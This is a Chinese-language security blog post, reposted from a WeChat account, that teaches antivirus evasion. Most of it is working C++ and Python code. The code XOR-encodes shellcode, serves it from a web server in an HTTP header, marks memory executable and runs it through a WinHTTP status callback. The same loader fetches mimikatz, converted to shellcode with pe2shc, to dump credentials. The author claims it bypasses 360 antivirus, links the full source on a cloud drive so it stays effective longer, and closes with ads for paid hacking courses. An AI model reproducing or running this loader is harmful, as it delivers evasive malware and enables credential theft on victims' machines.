mimikatz和shellcode免杀

admin 2023年2月12日00:24:42评论74 views字数 14021阅读46分44秒阅读模式
文章有什么错误的地方,希望师傅们能够提出来!
    前置知识shellcode免杀上线免杀加载mimikatz完整代码

前置知识

1.Windows api

  1. VirtualProtect

BOOL VirtualProtect(
[in] LPVOID lpAddress,//要更改属性的地址
[in] SIZE_T dwSize,//要更改属性的区域的大小
[in] DWORD flNewProtect,//这里填PAGE_EXECUTE_READWRITE即可
[out] PDWORD lpflOldProtect//接收原来的访问保护值
);

例如:

char buf[]="xxxx";
DWORD ppp;
VirtualProtect(&buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &ppp);
  1. WinHttpOpen
    初始化winhttp函数的使用并返回winhttp会话句柄,如果失败,则返回值是NULL

https://docs.microsoft.com/en-us/windows/win32/api/winhttp/nf-winhttp-winhttpopen

HINTERNET WinHttpOpen(
[in, optional] LPCWSTR pszAgentW,//名称,用作http协议中的用户代理,随便填几个单词就可以了
[in] DWORD dwAccessType,//访问类型,这里我们根据文档随便填个,这里我填的WINHTTP_ACCESS_TYPE_DEFAULT_PROXY
[in] LPCWSTR pszProxyW,//第二个参数如果未设置为WINHTTP_ACCESS_TYPE_NAMED_PROXY,则填WINHTTP_NO_PROXY_NAME
[in] LPCWSTR pszProxyBypassW,//第二个参数如果未设置为WINHTTP_ACCESS_TYPE_NAMED_PROXY,则填WINHTTP_NO_PROXY_BYPASS
[in] DWORD dwFlags//这里填啥都不影响,我们填个0
);

例如:

HINTERNET  hSession = NULL;
hSession = WinHttpOpen(L"UA", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if(HSession==NULL){
cout <<"WinHttpOpens失败";
}
else{
cout <<"成功";
}
  1. WinHttpConnect
    指定http请求的初始目标服务器,函数成功则返回句柄,否则返回NULL
    https://docs.microsoft.com/en-us/windows/win32/api/winhttp/nf-winhttp-winhttpconnect

HINTERNET WinHttpConnect(
[in] HINTERNET hSession,//WinHttpOpen返回的句柄
[in] LPCWSTR pswzServerName,//ip地址
[in] INTERNET_PORT nServerPort,//端口
[in] DWORD dwReserved//这里必须填0
);

例如:

HINTERNET hConnect = WinHttpConnect(hSession, 127.0.0.1, 80, 0);
if(hConnect==NULL){
cout << "失败";
}else{
cout <<"成功";
}
  1. WinHttpOpenRequest
    创建一个http请求句柄,函数成功返回一个句柄,否则为NULL
    https://docs.microsoft.com/en-us/windows/win32/api/winhttp/nf-winhttp-winhttpopenrequest

HINTERNET WinHttpOpenRequest(
[in] HINTERNET hConnect,//WinHttpConnect返回的句柄
[in] LPCWSTR pwszVerb,//填GET即可
[in] LPCWSTR pwszObjectName,//要请求的文件名,例如index.php
[in] LPCWSTR pwszVersion,//指向包含http版本的指针,填NULL即可
[in] LPCWSTR pwszReferrer,//这里填WINHTTP_NO_REFERER
[in] LPCWSTR *ppwszAcceptTypes,//这里填WINHTTP_DEFAULT_ACCEPT_TYPES
[in] DWORD dwFlags//这里填个0就可以了
);

例如:
访问index.php

HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"index.php", L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
if(hRequest==NULL){
cout <<"失败";
}
else{
cout <<"成功";
}
  1. WinHttpSendRequest
    将制定的请求发送到http服务器,函数成功返回TRUE,失败返回FALSE
    https://docs.microsoft.com/en-us/windows/win32/api/winhttp/nf-winhttp-winhttpsendrequest

BOOL WinHttpSendRequest(
[in] HINTERNET hRequest,//WinHttpOpenRequest返回的句柄
[in, optional] LPCWSTR lpszHeaders,//指向包含要加入的http头信息,我们不需要,填WINHTTP_NO_ADDITIONAL_HEADERS即可
[in] DWORD dwHeadersLength,//附加头的长度,我们没有添加请求头信息,所以填0
[in, optional] LPVOID lpOptional,//要发送的数据,我们不需要,填WINHTTP_NO_REQUEST_DATA即可
[in] DWORD dwOptionalLength,//填0
[in] DWORD dwTotalLength,//填0
[in] DWORD_PTR dwContext//填0
);

例如:

BOOL bResults = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
if(!bResult){
cout <<"失败";
}else{
cout <<"成功"
}
  1. WinHttpReceiveResponse
    接收由WinHttpSendRequest函数发起的http请求的响应
    https://docs.microsoft.com/en-us/windows/win32/api/winhttp/nf-winhttp-winhttpreceiveresponse

BOOL WinHttpReceiveResponse(
[in] HINTERNET hRequest,//WinHttpOpenRequest返回的句柄,需要在调用这个api前调用WinhttpSendRequest函数
[in] LPVOID lpReserved//此值必须为NULL
);

例如:

BOOL bResults = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);

if(!bResult){
cout <<"失败";
exit(1);
}
else{
bResults = WinHttpReceiveResponse(hRequest, NULL);
if(!bResult){
cout<<"失败";
}
else{
cout << "成功";
}
}

  1. WinHttpQueryHeaders
    这个api可以获取http头的一些信息,比如cookie之类的 (使用这个api是因为我把shellcode放在了http头中)
    https://docs.microsoft.com/en-us/windows/win32/api/winhttp/nf-winhttp-winhttpqueryheaders

BOOL WinHttpQueryHeaders(
[in] HINTERNET hRequest,//WinHttpOpenRequest返回的句柄,需要在调用这个api前调用WinHttpReceiveResponse函数
[in] DWORD dwInfoLevel,
[in, optional] LPCWSTR pwszName,
[out] LPVOID lpBuffer,
[in, out] LPDWORD lpdwBufferLength,
[in, out] LPDWORD lpdwIndex
);

例如:
以下代码即可获取cookie
bResults是前面调用WinHttpSendRequesth和WinHttpReceiveResponse后的布尔值

if (bResults){
bResults = WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_RAW_HEADERS_CRLF, WINHTTP_HEADER_NAME_BY_INDEX, NULL, &dwSize, WINHTTP_NO_HEADER_INDEX);
if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
{
lpOutBuffer = new WCHAR[dwSize / sizeof(WCHAR)];
bResults = WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CUSTOM, "cookie", lpOutBuffer, &dwSize, WINHTTP_NO_HEADER_INDEX);
printf("%s",lpOutBuffer);
}
}

想要获取其他http头信息,把第二个WinHttpQueryHeaders的第三个参数'cookie'改成对应的即可,例如获取Referer
bResults = WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CUSTOM, "Referer", lpOutBuffer, &dwSize, WINHTTP_NO_HEADER_INDEX);

  1. WinHttpSetStatusCallback
    可以设置一个回调函数,我们使用它来加载我们的shellcode,当失败时返回WINHTTP_INVALID_STATUS_CALLBACK
    https://docs.microsoft.com/en-us/windows/win32/api/winhttp/nf-winhttp-winhttpsetstatuscallback

WINHTTP_STATUS_CALLBACK WinHttpSetStatusCallback(
[in] HINTERNET hInternet,//要设置回调的句柄,这里我们使用WinHttpOpen返回的句柄
[in] WINHTTP_STATUS_CALLBACK lpfnInternetCallback,//指向WINHTTP_STATUS_CALLBACK类型的回调函数的指针
[in] DWORD dwNotificationFlags,//这里我们填WINHTTP_CALLBACK_FLAG_HANDLES,它的意思就是当我们调用WinHttpCloseHandle关闭句柄的时候,会调用回调函数,从而执行我们的shellcode
[in] DWORD_PTR dwReserved//此值必须为NULL
);

例如:

char shellcode[]="xxxxxx";
DWORD ppp;
VirtualProtect(&shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &ppp);

HINTERNET hopen = WinHttpOpen(L"User", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);

WINHTTP_STATUS_CALLBACK callback = WinHttpSetStatusCallback(hopen, (WINHTTP_STATUS_CALLBACK)&shellcode, WINHTTP_CALLBACK_FLAG_HANDLES, NULL);

if (callback == WINHTTP_INVALID_STATUS_CALLBACK) {
cout << "[*] WinHttpSetStatusCallback失败" << endl;
return -1;
};

cout << "[*] WinHttpSetStatusCallback 成功" << endl;
WinHttpCloseHandle(hopen);
//因为设置了WINHTTP_CALLBACK_FLAG_HANDLES,所以当我们调用WinHttpCloseHandle关闭句柄的时候会执行我们的shellcode

mimikatz和shellcode免杀
以下两个api是加载mimikatz的时候用的

  1. WinHttpQueryDataAvailable
    这个函数返回可用WinHttpReadData读取的数据量,函数成功返回TRUE,失败返回FALSE
    https://docs.microsoft.com/en-us/windows/win32/api/winhttp/nf-winhttp-winhttpquerydataavailable

BOOL WinHttpQueryDataAvailable(
[in] HINTERNET hRequest,//WinhttpOpenRequest返回的句柄,需要在调用这个api前调用WinHttpReceiveResponse函数
[out] LPDWORD lpdwNumberOfBytesAvailable//指向接收字节数的指针
);

例如:
hConnect是之前WinHttpConnect返回的句柄

DWORD dwSize=0;
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"index.php", L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
if(hRequest==NULL){
cout <<"WinHttpOpenRequest失败";
exit(1);
}

BOOL bResults = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);

if(!bResult){
cout <<"WinHttpSendRequest失败";
exit(1);
}
bResults = WinHttpReceiveResponse(hRequest, NULL);

if(!bResult){
cout<<"WinHttpReceiveResponse失败";
exit(1);
}

if (!WinHttpQueryDataAvailable(hRequest, &dwSize)){
cout <<"失败" ;
exit(1);
}
else{
cout"成功"<<endl;
cout << "大小 :"<< dwSize <<endl;
}

  1. WinHttpReadData
    就是读取文件数据,函数成功返回TRUE,失败返回FALSE
    https://docs.microsoft.com/en-us/windows/win32/api/winhttp/nf-winhttp-winhttpreaddata

BOOL WinHttpReadData(
[in] HINTERNET hRequest,//WinhttpOpenRequest返回的句柄,需要在调用这个api前调用WinHttpQueryDataAvailable
[out] LPVOID lpBuffer,//指向接收读取的数据的指针
[in] DWORD dwNumberOfBytesToRead,//要读取多少数据,这个值就是填写我们WinHttpQueryDataAvailable获取到的dwSize
[out] LPDWORD lpdwNumberOfBytesRead//指向接收读取的字节数的指针
);

例如:

DWORD dwDownloaded=0;
char* pszOutBuffer=new char[dwSize];
if(!WinHttpReadData(hRequest, pszOutBuffer,dwSize,&dwDownloaded))){
cout <<"读取失败";
exit(1);
}
cout << pszOutBuffer <<endl;

这两个api就相当于python爬虫读取数据一样,我们也可以把shellcode放进shellcode.txt里,在放到网站上,利用这两个api读取,最后回调函数执行

shellcode免杀上线

效果如下
mimikatz和shellcode免杀

mimikatz和shellcode免杀

shellcode加密解密:
这里依然是沿用我上一篇文章加密解密方式,师傅们可以去看看我上一篇文章,地址https://forum.butian.net/share/1848
这里我不在说了

shellcode加载
这里用上面讲的WinHttpSetStatusCallback这个api

加密代码:
encode.py

shellcode = b""
str_=""
for i in shellcode:
code=(i^1024)+1024
str_+=str(code)
with open("ii.php","w") as f:
f.write(f'<?php header("sc:{str_}");?>')
print("ok")

运行后会生成一个ii.php文件

<?php header("sc:加密后的shellcode");?>

解密和shellcode加载代码:

DWORD LoadSc(char* EncodeBuffer) {
char buf[6000];
strcpy(buf, EncodeBuffer);
delete[] EncodeBuffer;
char cd[10];
char code;
string buf_2 = buf;
int num = 0,cnum = 0;
int num_ = num + 4;
for (int i = 0; i < sizeof(buf); i++) {
if (buf[i] != (char)'x0') {
string str = buf_2.substr(num, num_);
if (str.length() < 4) {
break;
}
str.copy(cd, 4, 0);
code = (char)(atoi(cd) - 1024) ^ 1024;
buf[cnum] = code;
cnum++;
num_ += 4;
num += 4;
}
else {
break;
}
}
DWORD Old = 0;
BOOL IsExchange = VirtualProtect(&buf, 6000, PAGE_EXECUTE_READWRITE, &Old);
if (!IsExchange) {
cout << "[*] VirtualProtect Error " << endl;
return -1;
}
cout << "[*] VirtualProtect Success" << endl;
HINTERNET hopen = WinHttpOpen(L"User Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
WINHTTP_STATUS_CALLBACK callback = WinHttpSetStatusCallback(hopen, (WINHTTP_STATUS_CALLBACK)&buf, WINHTTP_CALLBACK_FLAG_HANDLES, NULL);
if (callback == WINHTTP_INVALID_STATUS_CALLBACK) {
cout << "[*] WinHttpSetStatusCallback Error" << endl;
return -1;
}
cout << "[*] WinHttpSetStatusCallback Success" << endl;
cout << "[*] Load Success " << endl << endl;
WinHttpCloseHandle(hopen);
return 1;
}

获取shellcode:

我们先搭建一个网站,然后我们把生成的ii.php文件放在网站根目录下

在Winhttpconnect里填写网站对应的ip,端口,在WinHttpOpenRequest里填写对应要访问的php文件
( WinHttpOpenRequest的第三个参数就是要访问的文件名 )
(我是本地用phpstudy搭建的,所以ip为127.0.0.1,端口是80,文件名是生成的ii.php)

HINTERNET hSession = WinHttpOpen(L"User", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
HINTERNET hConnect = WinHttpConnect(hSession, L"127.0.0.1", 80, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"ii.php", L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);

随后调用WinHttpSendRequest和WinHttpReceiveResponse

BOOL bResults = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
bResults = WinHttpReceiveResponse(hRequest, NULL);

最后我们用WinHttpQueryHeaders获取sc这个请求头的数据,最后解密加载即可

if (bResults){ //bResults是调用WinHttpSendRequesth和WinHttpReceiveResponse后的布尔值
bResults = WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_RAW_HEADERS_CRLF, WINHTTP_HEADER_NAME_BY_INDEX, NULL, &dwSize, WINHTTP_NO_HEADER_INDEX);
if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
{
lpOutBuffer = new CHAR[dwSize / sizeof(CHAR)];
bResults = WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CUSTOM, "sc", lpOutBuffer, &dwSize, WINHTTP_NO_HEADER_INDEX);

LoadSc(lpOutBuffer);//这个函数定义在上面
}
}

成功上线
mimikatz和shellcode免杀

免杀加载mimikatz

mimikatz本身是我是没有做任何免杀的

效果如下

mimikatz和shellcode免杀

mimikatz和shellcode免杀
不过因为存在杀软的原因,所以还是无法读取密码,不过至少达到我们加载mimikatz的目的了

mimikatz和shellcode免杀

实现如下 :

这里我们需要用到github上的一个项目,这是地址https://github.com/hasherezade/pe_to_shellcode

我们需要用到里面的pe2shc.exe这个文件,它可以把exe文件变成shellcode
pe2shc.exe mimikatz文件 mimimi.txt
随后会生成一个mimimi.txt文件,我们把它放在我们的网站根目录下

读取mimimi.txt
这里使用WinHttpQueryDataAvailable获取数据大小然后使用WinHttpReadData来读取数据,最后利用WinHttpSetStatusCallback设置回调函数执行

在Winhttpconnect里填写网站对应的ip,端口,在WinHttpOpenRequest里填写对应要访问的文件(我这里是刚才生成的mimimi.txt)

HINTERNET hSession = WinHttpOpen(L"User", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
HINTERNET hConnect = WinHttpConnect(hSession, L"127.0.0.1", 80, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"mimimi.txt", L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);

随后调用WinHttpSendRequest和WinHttpReceiveResponse

BOOL bResults = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
bResults = WinHttpReceiveResponse(hRequest, NULL);

最后WinHttpReadDat读取,设置回调函数执行

DWORD dwSize = 0;
//hRequest是之前WinHttpOpenRequest返回的句柄
if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
{
printf("Error %u in WinHttpQueryDataAvailable.n",
GetLastError());
break;
}
if (!dwSize)
break;
dwSize = dwSize * 4000;
//这里我乘以4000是因为获取的大小老是小于mimimi.txt文件的大小,所以我直接干脆乘以4000,以防万一

char* pszOutBuffer = new char[dwSize];

ZeroMemory(pszOutBuffer, dwSize);

if (!WinHttpReadData(hRequest, pszOutBuffer,dwSize, &dwDownloaded))
{
printf("Error %u in WinHttpReadData.n", GetLastError());
}
else
{
cout << "[*] Loading" << endl << endl;

DWORD ppp;
VirtualProtect(pszOutBuffer, dwSize, PAGE_EXECUTE_READWRITE, &ppp);
HINTERNET hopen = WinHttpOpen(L"User", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
WINHTTP_STATUS_CALLBACK callback = WinHttpSetStatusCallback(hopen, (WINHTTP_STATUS_CALLBACK)pszOutBuffer, WINHTTP_CALLBACK_FLAG_HANDLES, NULL);
if (callback == WINHTTP_INVALID_STATUS_CALLBACK) {
cout << "[*] WinHttpSetStatusCallback Error" << endl;
exit(1);
}

cout << "[*] Load Success " << endl << endl;
WinHttpCloseHandle(hopen);
}

这里我把杀软关了,所以可以正常读取密码

mimikatz和shellcode免杀

同理,使用这种方法,应该可以免杀一些exe文件了,这个师傅们可以自己试一下,毕竟mimikatz本身没有做任何处理都能绕过360加载了

完整代码

为了师傅们多玩会,暂时就不放github了,这样有效时间久点,我放在了阿里云上

「BypassAv」https://www.aliyundrive.com/s/4fYTr7yXdkU 提取码: l7pg
点击链接保存,或者复制本段内容,打开「阿里云盘」APP ,无需下载极速在线查看,视频原画倍速播放。

源码中的ip地址,端口这类的师傅们在使用的时候记得更改,都在wmain函数下

    原文:https://forum.butian.net/share/1898


【Hacking黑白红】,一线渗透攻防实战交流公众号

mimikatz和shellcode免杀

回复“电子书”获取web渗透、CTF电子书:

回复“视频教程”获取渗透测试视频教程;  

回复“内网书籍”获取内网学习书籍;        

回复“CTF工具”获取渗透、CTF全套工具;

回复“内网渗透;获取内网渗透资料;

回复护网;获取护网学习资料 ;

回复python,获取python视频教程;

回复java,获取Java视频教程;

回复go,获取go视频教程


知识星球



【Hacking藏经阁】知识星球致力于分享技术认知

1、技术方面。主攻渗透测试(web和内网)、CTF比赛、逆向、护网行动等;

400G渗透教学视频、80多本安全类电子书、50个渗透靶场(资料主要来自本人总结、以及学习过程中购买的课程)

2、认知方面。副业经营、人设IP打造,具体点公众号运营、抖*yin等自媒体运营(目前主要在运营两个平台4个号)。


如果你也想像我一样,不想35岁以后被动的去面试,那么加入星球我们一起成长。






mimikatz和shellcode免杀


欢迎加入99米/年,平均每天2毛7分钱,学习网络安全一整年。


mimikatz和shellcode免杀





渗透实战系列



【渗透实战系列】51|- 一次BC站点的GetShell过程

【渗透实战系列】50|- Log4j打点后与管理员斗智斗勇

【渗透实战系列】49|-实战某高校的一次挖矿病毒的应急处置

【渗透实战系列】|48-一次内网渗透

渗透实战系列】|47-记一次对某鱼骗子卖家的溯源

【渗透实战系列】|46-渗透测试:从Web到内网

【渗透实战系列】|45-记一次渗透实战-代码审计到getshell

【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)

【渗透实战系列】|43-某次通用型漏洞挖掘思路分享

【渗透实战系列】|42-防范诈骗,记一次帮助粉丝渗透黑入某盘诈骗的实战

【渗透实战系列】|41-记一次色*情app渗透测试

【渗透实战系列】|40-APP渗透测试步骤(环境、代理、抓包挖洞)

▶【渗透实战系列】|39-BC渗透的常见切入点(总结)

【渗透实战系列】|38-对某色情直播渗透

【渗透实战系列】|37-6年级小学生把学校的网站给搞了!

【渗透实战系列】|36-一次bc推广渗透实战

【渗透实战系列】|35-旁站信息泄露的dedecms站点渗透

【渗透实战系列】|34-如何用渗透思路分析网贷诈骗链

【渗透实战系列】|33-App渗透 ,由sql注入、绕过人脸识别、成功登录APP

【渗透实战系列】|32-FOFA寻找漏洞,绕过杀软拿下目标站

【渗透实战系列】|31-记一次对学校的渗透测试

【渗透实战系列】|30-从SQL注入渗透内网(渗透的本质就是信息搜集)

【渗透实战系列】|29-实战|对某勒索APP的Getshell

【渗透实战系列】|28-我是如何拿下BC站的服务器

【渗透实战系列】|27-对钓鱼诈骗网站的渗透测试(成功获取管理员真实IP)

【渗透实战系列】|26一记某cms审计过程(步骤详细)

【渗透实战系列】|25一次从 APP 逆向到 Getshell 的过程

【渗透实战系列】|24-针对CMS的SQL注入漏洞的代码审计思路和方法

【渗透实战系列】|23-某菠菜网站渗透实战

【渗透实战系列】|22-渗透系列之打击彩票站

【渗透实战系列】|21一次理财杀猪盘渗透测试案例

【渗透实战系列】|20-渗透直播网站

【渗透实战系列】|19-杀猪盘渗透测试

【渗透实战系列】|18-手动拿学校站点 得到上万人的信息(漏洞已提交)

【渗透实战系列】|17-巧用fofa对目标网站进行getshell

【渗透实战系列】|16-裸聊APP渗透测试

【渗透实战系列】|15-博彩网站(APP)渗透的常见切入点

【渗透实战系列】|14-对诈骗(杀猪盘)网站的渗透测试

【渗透实战系列】|13-waf绕过拿下赌博网站

【渗透实战系列】|12 -渗透实战, 被骗4000花呗背后的骗局

【渗透实战系列】|11 - 赌博站人人得而诛之

【渗透实战系列】|10 - 记某色X商城支付逻辑漏洞的白嫖(修改价格提交订单)

【渗透实战系列】|9-对境外网站开展的一次web渗透测试(非常详细,适合打战练手)

【渗透实战系列】|8-记一次渗透测试从XSS到Getshell过程(详细到无语)

【渗透实战系列】|7-记一次理财杀猪盘渗透测试案例

【渗透实战系列】|6- BC杀猪盘渗透一条龙

【渗透实战系列】|5-记一次内衣网站渗透测试

【渗透实战系列】|4-看我如何拿下BC站的服务器

【渗透实战系列】|3-一次简单的渗透

【渗透实战系列】|2-记一次后门爆破到提权实战案例

【渗透实战系列】|1一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)

mimikatz和shellcode免杀

    

长按-识别-关注

mimikatz和shellcode免杀

Hacking黑白红

一个专注信息安全技术的学习平台

mimikatz和shellcode免杀

点分享

mimikatz和shellcode免杀

点收藏

mimikatz和shellcode免杀

点点赞

mimikatz和shellcode免杀

点在看

原文始发于微信公众号(Hacking黑白红):mimikatz和shellcode免杀

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月12日00:24:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   mimikatz和shellcode免杀http://cn-sec.com/archives/1548392.html

发表评论

匿名网友 填写信息